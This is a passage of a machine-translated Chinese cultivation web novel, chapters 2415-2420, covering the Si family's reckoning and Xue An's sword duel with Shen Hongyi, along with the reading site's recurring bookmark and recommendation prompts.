    After the killing, the dagger in Lou Yingshi''s hand cried to the ground, and then fell to her knees and let out a cry of sorrow.


    "Dad, mom, elder sister, the culprit who harmed our Lou''s family in the first place has now been punished, and our Lou''s revenge...revened!"


    After speaking, Lou Yingshi burst into tears, and she couldn''t cry.


    The members of the Si family were silent.


    The **** scene just now made many members of the Si family horrified.


    But they couldn''t even say a word.


    After all, this incident was indeed the first action of the Si family, and it caused a devastating blow to the Lou family who had no prior knowledge.


    No matter how the orphan of the Lou family treats Si Daoyuan, she can''t be too much.


    At least Si Yicheng thought so, so he looked at it with a smile, without even the slightest touch in his eyes.


    At the same time, after crying for a while, Lou Yingshi turned and knelt down to the Nine Heavens Profound Girl and Xue An, and said sincerely.


    "Thank you for the empress and Mr. Xue''s help. Without your help, the **** and deep enmity of my Lou family will never be seen again!"


    As she said, she banged her head.


    Xue An waved his hand and said lightly: "It doesn''t have to be the case, since I said I want to help you, I will definitely help to the end!"


    As he said, Xue An turned his head to look at Si Yicheng, showing two tiger teeth, and said with a meaningful smile: "Does this elder think I''m right?"


    Si Yicheng chuckled in his heart, but the smile on his face remained the same.


    "Yes, what the lord said is absolutely true!"


    "Then since I want to help to the end, now do you think this Lou family''s hatred is completely reported?" Xue An said lightly.


    A look of panic flashed in Si Yicheng''s eyes, and he said with a strong smile.


    "My lord, I don''t know what you mean by this, but the original Patriarch Si Daoyuan did his own way to attack the Lou family. Now he has fallen, and the subordinates who followed him have been bloodbathed. , Isn''t this complete?"


    "Oh? According to you, all those involved in this matter have already received their due punishment?"


    "Yes!"


    Xue An stared at this Si Yicheng and suddenly laughed.


    "The elder''s name?"


    "Don''t dare, the villain''s name is Si Yicheng!"


    "What position is in this division''s family?"


    "There is no specific job, just idle personnel!" The Secretary answered in pairs.


    But at this moment, Xue An said abruptly: "So is it your duty to make suggestions for the Patriarch?"


    The question made Simingqi slightly change.


    Si Yicheng looked as usual, "My lord, I don''t know what you are talking about!"


    Xue An chuckled, but did not respond to his words, but turned to face the Nine Heavens Profound Woman Dao who hadn''t spoken from beginning to end.


    "My Empress, do you think the explanation given by Si Jia is enough?"


    Jiutian Profound Girl shook her head, "Not satisfied!"


    "Yes, I am not satisfied either!"


    "A dead person can''t speak. Will you consciously push all the guilt on Si Daoyuan alone to wash away the blood on your hands?"


    Xue An��s face is scornful You are too naive to think! "


    "Today, the Empress and I came in such a huge battle to make your family pay the price of blood!"


    Hearing this, Si Yicheng''s discoloration changed, and he could no longer keep his consistent smile.


    His biggest reliance before was that the Nine Heavens Profound Girl would not kill the entire Si family anyway.


    At most, it is just to punish the first evil and frighten others.


    That''s why he was so calm and relaxed.


    Hearing what Xue An meant now, it seemed that he was going to kill the entire Si family.


    How could this not make him horrified.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2415 Is this your secretary''s account?) Reading records, and you can see them next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2416： Adults forgive me

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "My lord has been wronged, I really don''t know anything about these things. Everything is from the former Patriarch Si Daoyuan and his envoy!" Si Yicheng yelled hysterically.


    But Xue An didn''t respond at all, just looked at him with a sneer.


    Si Yicheng only felt that his heart had gradually fallen to the bottom, because Xue An''s eyes were clearly telling him three characters.


    Do not believe!


    This also made Si Yicheng feel a bit of killing intent.


    He has no doubt that if he hasn''t convinced the other party next, then he will be dead.


    Suddenly.


    A thought flashed through his mind.


    Although the deepest man in the city was like him, he had never thought about it in this way beforehand, and doing so would have put many of his plans in vain, but he couldn''t care about that many in order to survive.


    He suddenly raised his hand to Simingqi who was not far away, and shouted: "My lord, I can tell you the truth, everything was planned by this Simingqi behind the scenes, including the murder of his father. They are all his chief envoys, and I don��t know anything else."


    As soon as this remark came out, all the members of the Si family changed their colors.


    Many people never expected that this Si Yicheng could say such things at this time.


    Isn''t this the equivalent of betraying two Patriarchs before and after?


    Si Yicheng also understood that doing so would arouse public anger and jealousy, but as long as he survived, everything else was not important.


    But at this moment, instead of seeing a trace of forgiveness from Xue An''s face, he saw a touch of joking in his eyes.


    This discovery made Si Yicheng a huge shock, suddenly realized something, and just wanted to turn around.


    But at this moment, a cold dagger pierced into his neck. Wherever it passed, the sharp blade directly cut the blood vessel and trachea, and then emerged from the throat.


    "Gluck..." Si Yicheng opened his mouth wide and let out a few unwilling moans, but couldn''t even say a word.


    Because this knife has cut off all his vocal cords.


    Therefore, Si Yicheng, who is usually clever tongue, can only stand there trembling all over, letting the blood take away all his strength.


    The audience was silent.


    Everyone in the Si family was stunned at the Si Mingqi who was standing behind Si Yicheng, holding the hilt of the knife in his hand.


    No one thought that things would suddenly turn around like this.


    Only a meaningful sneer appeared on Xue An''s face.


    At the same time, when Si Mingqi slowly stirred the dagger in his hand, Si Yicheng trembled and blood spurted out.


    puff.


    Si Mingqi drew out the dagger in his hand, and then Si Yicheng turned around with difficulty, and looked at Si Mingqi for the last time.


    The resentment contained in those eyes was shocking enough.


    But Siming Qi was completely unmoved, just smiled coldly, and then pierced Si Yicheng''s eyebrows again.


    At this time, Si Yicheng''s eyes finally dimmed, shaking for a few times, and then the body crashed to the ground.


    No one spoke. In fact, there were still many members of the Si family who didn''t understand what was going on up to this moment.


    But at this moment, there was a round of applause.


    Xue An applauded gently, and said in a calm tone: "Wonderful, it''s really a wonderful drama!"


    Siming Qi took a deep breath, threw away the dagger in his hand, and then threw himself to his knees.


    "My lord, spare your life!"


    He didn''t give too much excuse, not even a single explanation, everything was condensed into these simple four words.


    My lord, spare your life!


    Xue An stared at him.


    Siming Qi didn''t move, but just bowed his head and knelt on the ground, as if waiting for his hair to fall.


    After a long time, a faint smile gradually appeared on Xue An''s face.


    "You are very smart!"


    "At least he''s smarter than this guy who plays with the situation in secret, but thinks outsiders don''t know it!"


    "Because you know where you are now and what you should do! This is great!"


    Si Mingqi slammed his head and said, "Thank you for your praise!"


    But Xue An''s next sentence made the atmosphere tense again.


    "But haven''t you heard a word, smart people often don''t live long!"


    Siming Qi trembled all over, but soon he looked up and said: "My lord, there are no smart people here, only people who are willing to listen to you!"


    Xue An laughed. In the laughter, he suddenly turned around and said lightly: "In this case, then I will give you a chance!"


    The Si family''s affairs ended in an unexpected way.


    The members of the Si family were still in a dazed expression.


    But the Nine Heavens Profound Girl was still very satisfied.


    Because of this visit, she didn''t intend to uproot the entire Si family, after all, it was not conducive to the development of the Pharmacist Alliance.


    All she wanted was to re-establish the rules that had been forgotten by people.


    And now Xue An has caused the entire Si family to fall apart without a bloodbath. Even if Si Mingqi continues to be the head of the Si family in the future, he will not have the slightest prestige.


    The only thing he can do is do his best to cater to himself and Xue An, this is the only basis for him to stand up.


    In this way, the scourge of the Si family has been completely eliminated, and the grievances of the Lou family have been avenged.


    But during the whole process, she didn''t even move her hand, how could this not make Jiu Tian Xuan Nu be satisfied.


    Therefore, when Xue An returned to the camp, Jiu Tian Xuannv couldn''t help but whispered: "How did you do it?"


    Xue An smiled slightly, "It''s very simple. I have long seen that it is not easy. There is definitely this Si Yicheng behind the scenes. Although he helped Si Mingqi become the head of the family, this Si Mingqi is not a fool! "


    "He knows very well that his current Patriarch is just a mere appearance. After the situation stabilizes, he will definitely become a puppet sitting in the Patriarch''s seat like his father!"


    "I believe he would never want to see such a situation, so I gave him an opportunity! And he was very clever to seize it."


    "But doesn''t he know what the cost of doing this is?" Jiu Tian Xuannv couldn''t help but ask Of course I know, but this is how things are in the world. There must be a choice, compared to what he had done before The price that needs to be paid, now this price is simply not worth mentioning, at least.... "


    "Now he is no longer a puppet raised up by others. In this way, even the matter of his father killing and seizing power will gradually fade, so he will not hesitate to make this decision!"


    Seeing Xue An, who looked indifferent and talked eloquently, even the Nine Heavens Profound Girl who had experienced the world could not help but feel a little stunned.


    She naturally understood the doorway inside, but the point was that the young man only used a few words to get everything to the effect he wanted.


    She was shocked by the insight and stubbornness of people''s hearts.


    She couldn''t help asking: "Where did you learn these things? Soldiers?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2416, Your Excellency), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2417： 0 Army Wanma Avoid Red Clothes

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Xue An smiled and shook his head, "Some are, but more are from my experience!"


    experience?


    What can such a teenager experience?


    Jiu Tian Xuan Nu thought a little funny.


    Although Xue An has experienced more than 3,000 years of time, in her eyes, who has experienced thousands of years, she is only a child.


    The matter is over, everyone is naturally ready to leave.


    But at this moment, Xue An suddenly frowned, then lifted up and looked at the sky.


    "It is going to rain!"


    That''s right.


    At this moment, the originally clear sky suddenly clouded over.


    It''s just that this dark cloud is very strange, there was not even a trace of wind before, as if someone suddenly pulled a gray curtain on the sky, and suddenly it was dark.


    The Nine Heavens Profound Girl was also taken aback.


    "This rain is really strange!"


    You know, with the aura of the powerful people gathered here, there is no possibility of wind and rain at all.


    So this sudden cloud seems very strange.


    Xue An''s complexion gradually became solemn, and his eyes quickly calmed down, and he slowly said, "It''s not surprising, because someone is here!"


    Words fall.


    There was a pouring rain in the sky.


    But the rain also looked very strange, because there was no wind, so the raindrops fell vertically, drawing straight trajectories, and shrouded the entire world in this dense rain curtain.


    The complexion of the Nine Heavens Profound Girl also quickly became solemn, because as powerful as her, she already felt an inexplicable aura approaching here.


    "What''s the matter? Who is here?"


    Xue An took a deep breath, his eyes shining like stars in an instant.


    "The sword intent envelops the world and condenses into the real form. Only the Shen family can reach this level!"


    Shen family!


    Hearing this word, Jiutian Profound Girl''s complexion instantly became more solemn.


    "Is this revenge coming so quickly?" Jiu Tian Xuannv whispered softly.


    In fact, after Shen Gaoge was defeated and fled, Jiu Tian Xuan Nu knew that this matter would never be finished, but she did not expect that the Shen family would come so quickly.


    At this moment, there was a sudden commotion in the distant crowd.


    You must know that those who can follow the Nine Heavens Profound Girl here are all good players, but at this moment, these masters have a panic look and they evade one after another.


    In an instant, the crowd who had occupied most of the sky separated a straight passage.


    In the rain and mist at the end of the passage, a woman holding an oiled paper umbrella slowly walked out.


    This is an extremely delicate oil-paper umbrella. The woman under the umbrella is dressed in red, her wrists are like snow, and her eyebrows are like cats.


    To be honest, such a scene should not actually appear here, but should appear in the spring rain alleys in the south of the Yangtze River.


    But when the woman appeared, the audience fell silent for an instant.


    Only the fine rain and the sound of people retreating due to panic can be heard quietly.


    The Nine Heavens Profound Girl suddenly sighed slightly.


    "Thousands of troops to avoid the red clothes, Shen Jiaran sent her out, and today''s affairs are estimated to be difficult to end!"


    It seemed that she had heard the words of the Nine Heavens Profound Girl, the woman stopped abruptly, then slowly raised her eyes and looked here.


    This is a delicate and delicate woman with red lips and **** white skin, especially her eyebrows, like a Persian cat sleeping in the afternoon, with a touch of laziness.


    Especially when she laughed, she was so cute that she couldn''t help but want to touch her head.


    But none of these people here dared to have any such thoughts.


    Because it was so crazy that even desperate lunatics would not dare to do it.


    Even if they have a choice, these people really want to flee as far as they can now, and it is best to stay as far away from this woman as possible.


    Everything is because of the identity of this woman.


    Shen family, Shen Hongyi!


    The Shen Hongyi who is evading the red clothes with thousands of troops!


    This is a name that is enough to make ordinary monks frightened.


    Because there are rumors that almost none of the people who saw this Shen Hongyi survived.


    Holding an oiled paper umbrella, she is like a **** of death walking on earth, no matter where she goes, she will reap countless souls.


    There were people or forces who didn''t believe this rumor, and as a result, their bones were no longer found.


    Unexpectedly, they actually met this murderous figure here today.


    How can this not make them horrified.


    At this moment, I saw that Shen Hongyi''s gaze stayed on Xue An with great interest after a round of inspections.


    "Hello! My name is Shen Hongyi, are you Xue An?"


    The cold tone revealed a touch of immaturity, as if a girl who didn''t know the world was asking a question curiously.


    Xue An nodded, "Yes, I am!"


    Shen Hongyi smiled.


    When she laughed, her eyebrows that looked like a Persian cat exuded even more breathtaking charm.


    "Very well, since you severely injured my unsuspecting brother, then I will kill you next, please... don''t be angry!"


    Words fall.


    The rain in the sky was stagnant at first, and then lased towards Xue An.


    Every drop of rain instantly turned into an invincible sword energy, pierced through the space and appeared in front of Xue An.


    This blow came extremely fast, and even many people hadn''t even reacted yet, and the raindrops in the sky had already killed Xue An.


    Xue An snorted coldly, not moving, but a sword light flashed across his eyes.


    In an instant, countless strands of pure white sword light suddenly appeared around his body, and then they greeted the killing raindrops directly.


    boom!


    Jianmang collided with the raindrops, causing countless waves in an instant.


    Those who were close only felt that their faces were cut, and they couldn''t help but retreat in horror.


    Even the Nine Heavens Profound Girl is no exception.


    Although she would not be hurt by the leaked sword aura, the terrifying sword intent still suffocated her slightly.


    Countless exploding sword qi formed a huge vortex, and Xue Jingli did not move in the middle.


    Because he knew that this blow was just the beginning, and the real ultimate move was yet to come.


    really.


    Just when the sword air blast had already rang into one, a slender jade finger suddenly penetrated through the waves and lightly tapped towards Xue An.


    Although it is just a soft boneless finger, it is this understatement The rain curtain that originally enveloped the world seems to be suddenly pulled by someone, and Qi Qi is pouring towards Xue An. Come.


    Not only that, these raindrops kept condensing and condensing halfway, and when Xue An approached him, they had already condensed into a huge dragon, opened his blood basin and swallowed it viciously.


    "Is the sword aura like a dragon?" Xue An raised his eyebrows slightly, "It''s a good method, but it''s a pity that it''s almost time to kill me!"


    With that said, Xue An took a step forward.


    Boom!


    With a muffled sound, the world is shaking!


    Then the dragon formed by the condensed sword energy disintegrated in an instant and turned into rainwater in the sky again.


    But at this moment, a woman smiled, "What about this sword?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2417 Thousand Horses Avoid Red Clothes), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2418： 3 feet green front, there is no me in the world

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    When the words fell, an indescribable sword light pierced through the pouring rain curtain and pointed directly at the center of Xue An''s eyebrows.


    The imposing manner refers to indomitable progress.


    It is hard to imagine that such a majestic and majestic sword was actually made by such a weak woman.


    Xue An didn''t grab the front, but retreated sharply.


    But how could the speed of his retreat be comparable to Jianguang.


    Therefore, in a short time, this sword light has come to Xue An''s eyebrows.


    Seeing the next second, he would pierce the center of his eyebrows, but at this moment, Xue An suddenly raised his eyes, and a red lotus bloomed rapidly in the center of his eyebrows, which happened to be blocking the sword light.


    Bah la.


    There was a sharp sound like cracking silk.


    The lotus shattered and the sword light disappeared.


    Shen Hongyi''s eyes lit up, "Did you use this sword intent to severely wound my brother? It''s kind of interesting!"


    With that said, Shen Hongyi suddenly turned the oil paper umbrella in his hand.


    Click!


    Accompanied by the sound of gold and iron, this delicate oil-paper umbrella began to change rapidly, and the umbrella surface quickly closed and turned into a cold sword.


    Then Shen Hongyi pierced out with a sword, and people walked with the sword, and the sword borrowed its might.


    Her whole body was like a fairy of Ling Chen, and came straight to Xue An.


    This sword is tangible and qualitative, and its speed is not fast.


    But in the face of this blow with the umbrella as a sword, Xue An''s expression suddenly became very solemn.


    Then his figure shook slightly, and his whole person was instantly connected to the heaven and the earth.


    At this moment, he is heaven and earth, and heaven and earth are him.


    Then he raised his hands, raised them to his chest, and clasped his palms abruptly.


    boom!


    Under this blow that looked like worshipping the Buddha, the sword attacked by Shen Hongyi was caught by Xue An''s hands.


    As soon as they touched, the sky and the earth shook violently.


    The raindrops that had fallen on the ground were also shaken up, and then evaporated into nothingness.


    A look of surprise flashed across Shen Hongyi''s face.


    Because Xue An''s palm seemed ordinary, but he broke his sword force abruptly.


    Of course, there are also costs. For example, there is now a ray of blood snaking down Xue An''s wrist.


    But this is far from reaching Shen Hongyi''s desire to kill when he draws his sword.


    "It''s really interesting that you can''t bear to move like the earth. Did you actually integrate Buddhism into swordsmanship?" Shen Hongyi couldn''t help but exclaim.


    Although she was admiring, the sword in her hand did not stop in the slightest, and she picked it up. The sword body instantly broke through the shackles of Xue An''s palms and came straight to his throat.


    There was a small ding sound.


    A small Yinhong sword blocked Shen Hongyi''s umbrella sword, and a bright spark burst out from the tip of the sword.


    Xue An and Shen Hongyi split immediately, and then Shen Hongyi took a deep look at the sword in Xue An''s hand.


    "It really is the Jianxin of the Shen Family, and it''s extremely pure. Non-primary blood cannot be condensed. How did you get this thing?"


    "I said, this is a gift from a friend, but unfortunately you don''t believe it!" Xue An said lightly.


    "Haha!" Shen Hongyi pursed his lips and smiled, "Whether you believe it or not, Shen Jia Jianxin appeared in the hands of outsiders, this is an unforgivable capital crime! Because...Shen Jia''s majesty cannot tolerate blasphemy!"


    Xue An was silent.


    "To be honest, I appreciate your unique insights on Kendo. Without this, we might have become very good friends, but today, you must die!"


    Shen Hongyi talked freely, and the pair of cat-like eyebrows became brighter and brighter, obviously gaining momentum.


    Xue An remained unmoved, but shook his sword horizontally, "If this is the case, then come on!"


    As soon as the voice fell, a sword beam came from the sky, and wherever it passed, the originally dense cloud was directly cut out of a long gap.


    Xue An did not dodge, because he knew that by this time any dodge had lost its meaning.


    He raised his sword to greet him, just in time with the sword of Shen Hongyi.


    There was no sound, only a violent shock wave dissipated in an instant, dispelling the cloudy clouds in the sky.


    The sun fell on the earth again, and at this moment, Xue An stepped back several steps, a trace of blood dripping from the corner of his mouth.


    Jiu Tian Xuan''s eyes condensed, and she just wanted to talk.


    Xue An gently wiped the blood from the corner of his mouth, and said in a cool tone: "Is this the true strength of your Shen family''s Jianyi?"


    "To be exact, it should be 60% strength!"


    With the voice, Shen Hongyi''s figure appeared in Ambilight.


    At this moment, she is still wearing a red dress, her wrists are like snow, and there seems to be no change.


    Xue An nodded, "Very good!"


    Then crossed the sword again, "come again!"


    A look of respect appeared in Shen Hongyi''s eyes, and then slowly raised the umbrella sword.


    "This sword is called Lian Tianqing, and the next one is my ten-successful sword called Birth and Death! Please take the move!"


    Following the voice, Shen Hongyi''s power began to soar at a crazy speed.


    Although the face of Jiutian Profound Girl appeared worried, but in the end she did not step forward to stop her.


    Because she knows Xue An or the temper of the Chinese.


    Since he chooses to face a powerful enemy himself, it means that he does not want others to interfere.


    At this moment, Shen Hongyi''s sword came out like a dragon and cut Xue An straight.


    At this moment, everyone who saw this sword had an illusion.


    It''s as if the world suddenly split into two, one for the real and the other for the illusion.


    The two stand opposite each other, like a mirror.


    This sword appeared in two illusions at the same time, slashing towards everyone.


    That''s right!


    Although the sword intent pointed directly at Xue An, anyone who saw the sword felt that the sword had also been slashed towards him.


    In fright, there was a timid person who was frightened stupidly.


    Even a strong person is pale and powerless to struggle.


    But at this moment, I only listened to a soft drink.


    "Three feet Qingfeng, there is no me in the world!"


    Following the voice, Xue An, who was originally overwhelmed by the power of this sword, couldn''t raise his head, suddenly opened his mouth.


    A white air burst out, and instantly condensed into a sword intent, directly facing the sword.


    Shen Hongyi''s pupils shrank suddenly, "Spit out his sword heart to fight against me?"


    Before the words fell, the two swords collided together, and then they were completely annihilated.


    Shen Hongyi snorted and took a half step back.


    This is also the first time she backed away from her appearance to the present.


    At the same time, everyone present who had fallen into great fear was shocked, and then regained consciousness.


    Then there was an uproar like a tsunami.


    Everyone''s faces were full of panic. UU reading www.uukanshu. com


    Because they have no doubt that if the sword just wasn''t for Xue An to awaken everyone, then everyone is dead now.


    This kind of sword intent is too terrifying.


    Just a glance is enough to overturn life and death.


    At this moment, Xue An took a deep breath. Although his face was a little pale, his eyes were as deep as the sea.


    "Why?" He uttered these three words slowly.


    Shen Hongyi chuckled, "There is no reason, I am like a sword, and life is like grass. Since they are here today, their lives and deaths cannot be controlled by him!"


    "you, too!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2418 Sanchi Qingfeng There is no me in the world), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2419： I mean like a sword and life is like grass

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "Leave here immediately, and hide as far as possible!" Xue An said in a deep voice.


    In fact, there is no need for him to remind, the people present already knew how urgent the situation was, so they immediately began to run frantically outside the planet.


    After all, they were lucky to survive the sword just now, but can they have such good luck next?


    Until then, many people didn''t understand why this Shen Hongyi was called an unfeeling swordsman again.


    Because in her eyes, human life is nothing but grass and mustard that can be harvested at any time, which is not worth mentioning.


    The Nine Heavens Profound Girl hesitated a little, "Xue An, you..."


    "Don''t worry, I''m sure to beat her, but I can''t do anything about you here!"


    As he said, Xue An smiled at her, "What? You still don''t believe me?"


    The Nine Heavens Profound Girl pondered for a moment, and finally nodded, "Okay, then you be careful!"


    After speaking, she also got up and left.


    Because she saw Xue An''s determination in his eyes.


    So she understands that at this time, any persuasion is useless, it is better to leave here and let him let go of his hands and feet.


    In an instant, the Nine Heavens Profound Girl had already left the people she had brought clean.


    And not only them, but the members of the Si family run faster than anyone else.


    After all, the Si family also saw the battle that just happened in the sky just now.


    The terrifying lethality shown by both sides made many people''s hair horrified.


    Now that there is a chance to escape, naturally you can run as far as you can.


    Si Mingqi is naturally no exception, but he didn''t run too far, he just came to a corner in the void outside, then stopped, and looked at the planet solemnly.


    There is no other reason, he just wants to know the result of this battle as soon as possible.


    Because the result of this battle is directly related to his survival.


    You must know that although he is currently the head of the Si family in name, he knows better than anyone what kind of volcano is hidden under his position.


    After killing his father and seizing power, Si Yicheng, who was about to support himself, was killed.


    Now, in the eyes of the Si family, he has no father and no mother, and exists by all means for the sake of profit.


    The reason why no one said anything before was because Xue An and the Nine Heavens Profound Girl were under pressure, and no one dared to doubt it at all.


    But now the Shen Hongyi, the Shen Hongyi who has a thousand troops to avoid the red clothes, suddenly arrived and disrupted all the plans.


    Simingqi couldn''t even imagine what Xue An would end up if he were defeated and died.


    So if anyone in the field today cares about Xue An most, it must be him.


    At the same time, on this already silent planet, Shen Hongyi looked at Xue An and said lightly: "Are you finished?"


    Xue An nodded, "Okay, let''s get started!"


    Shen Hongyi chuckled, "Seriously, I really can''t imagine what you can do to deal with me now. Your realm is obviously extremely high, but your strength is very poor. Like a child with skill but no strength, there is no chance of winning in front of me!"


    "Is there any chance of winning? You have to know after you have played it! Don''t talk nonsense, let''s get out of the sword!" Xue An said softly.


    "Okay, then I will let you understand today!"


    boom!


    The sword that grabbed Tianqing came out like a thunder, and hit Xue An with the momentum of Wanjun.


    That''s right.


    It is to abandon all the skills and directly smash it naked.


    But it was Xue An who rose to the sky faster than Jianguang, and saw him greet the sword light with his flesh as if he was looking for death.


    A look of astonishment flashed in Shen Hongyi''s eyes.


    But in the next instant, Xue An''s body was full of bright brilliance, and then a set of extremely beautiful armor completely encased him.


    Then one person shook each other with one sword.


    Babble babble.


    Although the sword shines like a wash, it failed to damage Xue An a minute, and was completely blocked by this armor.


    Shen Hongyi was taken aback when he saw this, and then chuckled lightly.


    "Is this your last resort? The power of fake foreign objects is not the duty of Jian Xiu!"


    But Xue An turned a deaf ear to these words. After smashing the sword, his figure flashed again, and he rushed straight to Shen Hongyi, launching the first counterattack since the start of the war.


    Shen Hongyi didn''t panic, and slowly swayed the sky in his hands, and blocked Xue An who appeared beside him for a short period of time.


    "Although this armor is very beautiful, I still want to say...too slow!"


    When the words fell, Xue An flew out.


    And a sword light chased afterwards.


    The two fought in one place.


    Boom boom boom!


    Even standing outside the planet, you can still see the huge burst of brilliance, and it seems that the entire planet is trembling slightly.


    Seeing such a violent scene, many people changed slightly.


    "It really deserves to be the Shen family''s first-class swordsman, who can have such power alone, I think this Mr. Xue is very difficult to be kind!" Someone sighed in a low voice.


    The others did not respond, because all their attention was attracted by this extraordinary battle.


    As for Siming Qi, he clenched his fists, staring at the two sword lights that crisscross the planet.


    There is only one thought in his mind, and that is to look forward to Xue An''s victory as soon as possible.


    But at this moment, I only heard a loud noise that even the void vibrated, and then I saw the planet trembling violently, a huge vortex appeared in the center, and a tragic explosion had obviously occurred.


    "What''s the matter?" someone exclaimed.


    On the planet, Shen Hongyi looked at the pit that had been smashed out on the ground with an indifferent expression.


    "I said, you are still too slow, don''t you understand?"


    There was no response in the deep pit, as if Xue An, who had just been smashed in, had been swallowed by darkness.


    Shen Hongyi raised his eyebrows slightly, just about to speak.


    At this moment, a golden light in the pit rose to the sky, rushing towards Shen Hongyi with a terrifying power.


    Shen Hongyi slightly avoided the blow on one side, but before she could react, he exploded countless sword lights around her, entangled Qi Tianqing in her hand. UU reading www. uukanshu. com


    In the sword light, Xue An, wearing armor, punched again and took Shen Hongyi''s face.


    Facing the perfect blow at this moment, Shen Hongyi just sneered and flipped his wrist.


    The hilt of Lian Tianqing''s sword was directly broken, and then Shen Hongyi pulled out a small sword from it, and slashed Xue An straight.


    Click!


    This sword was piercing Xue An��s chest, igniting countless sparks, and then the seemingly unbreakable suit of armor on Xue An��s body burst out after a faint sound like a piece of porcelain. Pattern.


    But at this moment, a small red sword appeared behind Shen Hongyi like a ghost, cutting her neck straight.


    The speed is like a dream.


    In order to facilitate the next reading, you can click on "Favorites" below to record this reading (Chapter 2419, I mean like a sword and life is like grass), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2420： 1 Sword Slashing Star

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    But in this time that was not allowed, Shen Hongyi slashed back from an almost impossible angle.


    Bang!


    With sparks splashing, the violent sword aura instantly dispersed, and most of them were offset by Shen Hongyi''s own sword intent. Only a sword aura avoided all the sword power in Shen Hongyi and went straight to the door. Come.


    Shen Hongyi turned his head to the side almost subconsciously, and he was able to avoid this mortal sword.


    But after all, she was hiding a little bit slower, and this Jian Qi brushed Shen Hongyi''s cheek and passed by.


    puff!


    A deep cut was instantly cut out of the delicate skin, extending from the chin to the temples.


    The blood burst out, staining Shen Hongyi''s entire cheek.


    Shen Hongyi snorted in pain, and immediately showed infinite anger in his eyes.


    the first time!


    This is the first time she has suffered such a serious injury since the ceremony on Chengjian Mountain!


    The key opponent is still a person whose strength is far inferior to him.


    How could this not make her angry.


    "You actually ruined my face and died for me!"


    The sword intent on Shen Hongyi''s body was frantic for an instant, and then cut down with a sword.


    This sword can no longer be described in words.


    It was as if the ancient gods who had been asleep for a long time finally opened their eyes, enough to open up the world.


    This is indeed the case.


    Seeing this sword light coming from the sky, and then the whole planet trembled.


    Rumble!


    Jian Guang directly cut the ground into a deep chasm and kept extending downward.


    At the same time, there was a loud noise from deep underground, as if something broke.


    Immediately afterwards, the entire planet was bounded by that chasm, slowly separating on both sides.


    The people standing in the void outside could not help but feel an uproar when they saw this scene.


    "One sword! Did just one sword cut this planet in half?" someone exclaimed.


    "The key point is that this is not an ordinary planet, but a planet guarded by a family of families and a stable heaven!" Someone turned pale.


    "Hey, is this the true power of Shen Jia Jianyi? It''s really overbearing enough!" Someone sighed.


    The Si family was even more boiling.


    After all, that''s your own family residence!


    But in the midst of this chaos, Siming Qi looked at her face sinkingly, without even blinking his eyelids.


    Seeing him so calm, the Si family, who was boiling, gradually calmed down.


    Although many people are still full of dismay, some even have tears.


    But the Patriarch did not speak, no one dared to move.


    But just under the seemingly calm surface of Siming Qi, there was a stormy sea.


    He is very aware of his current situation, which is simply a sentence.


    Xue Ansheng will live by himself, and Xue Ansheng will die by himself!


    So when he saw that his family''s planet was destroyed, he couldn''t even care about his heartache, there was only one thought in his mind.


    That''s how is Xue An''s situation now?


    Under the horror of Shen''s sword intent, which is similar to the gods and demons, can he survive?


    At the same time, the face of the Nine Heavens Profound Girl is also very solemn.


    She is also not sure whether this Chinese descendant will survive this battle.


    The only thing she can do is to stand here and pray silently for him.


    Because she knew very well what Xue An meant by letting herself lead everyone away.


    He obviously wanted to face this Shen Hongyi alone to hone himself.


    If he wins, then he will go further.


    If it fails...


    Then there is nothing.


    So her heart is naturally heavy.


    Xue An, you have to hold on!


    And at the time of the war here, in Yangcheng County, on the other side of the Pharmacist Alliance, in the Medicinal Food Workshop.


    The little gourd who was originally looking down at the game that missed playing games suddenly raised his head, and a dignified look appeared on his innocent face.


    "Broken!"


    "What''s broken?" I thought about raising my head and asked inexplicably.


    "The armor is broken!"


    An Yan, who was sitting aside chatting with Ao Shu, was shocked when he heard the words, "Gourd, what did you say?"


    Little Calabash whispered: "I can feel that the armor on his body has been extremely seriously damaged!"


    The audience was shocked when he said this.


    Because people know who he is in Xiao Hulu''s mouth!


    And that piece of armor is Xue An''s life-saving trick. If it is even broken, it means that Xue An must have suffered a very serious crisis.


    An Yan was obviously aware of this, and her complexion became pale a little.


    Cha Wenliang frowned and immediately asked, "What else do you feel besides this? How is Xue An himself?"


    Xiao Hulu shook his head, "I didn''t feel anything, now the connection has been disconnected, as for him..."


    The little gourd said unhappily: "It''s probably already dead!"


    This sentence caused the audience to have such a dead silence for three to five seconds.


    Then Ao Shu jumped up.


    "You are talking nonsense, how could Brother Xue die? He must be fine!"


    "Believe it or not, anyway, according to the probability, even the armor can be broken and seriously injured. The possibility of his own survival is very small!" Xiao Hulu talked openly, his tone calm and indifferent.


    "Enough!" Cha Wenliang stopped Xiao Hulu and continued.


    Because he knew that Xiao Hulu seemed to be a little girl, but in fact there was no human emotion.


    If she was allowed to continue speaking, it would obviously only make a mess of things.


    But even if he stopped the small gourd in time, An Yan''s face was still bloodless, and his whole body trembled slightly.


    As for missing these two little girls, it was you who looked at me and I looked at you, and then burst into tears.


    Although the two of them didn''t feel Xue An''s danger, wouldn''t this prove that Xue An''s danger was even more terrifying?


    An Yan took a deep breath, tried to calm her flustered heart, and then solemnly said: "I''m going to find him!"


    Cha Wenliang frowned, "But..."


    "Nothing but, I just want to find him!"


    "Yes, I will go too!" Ao Shu also immediately stood up and said.


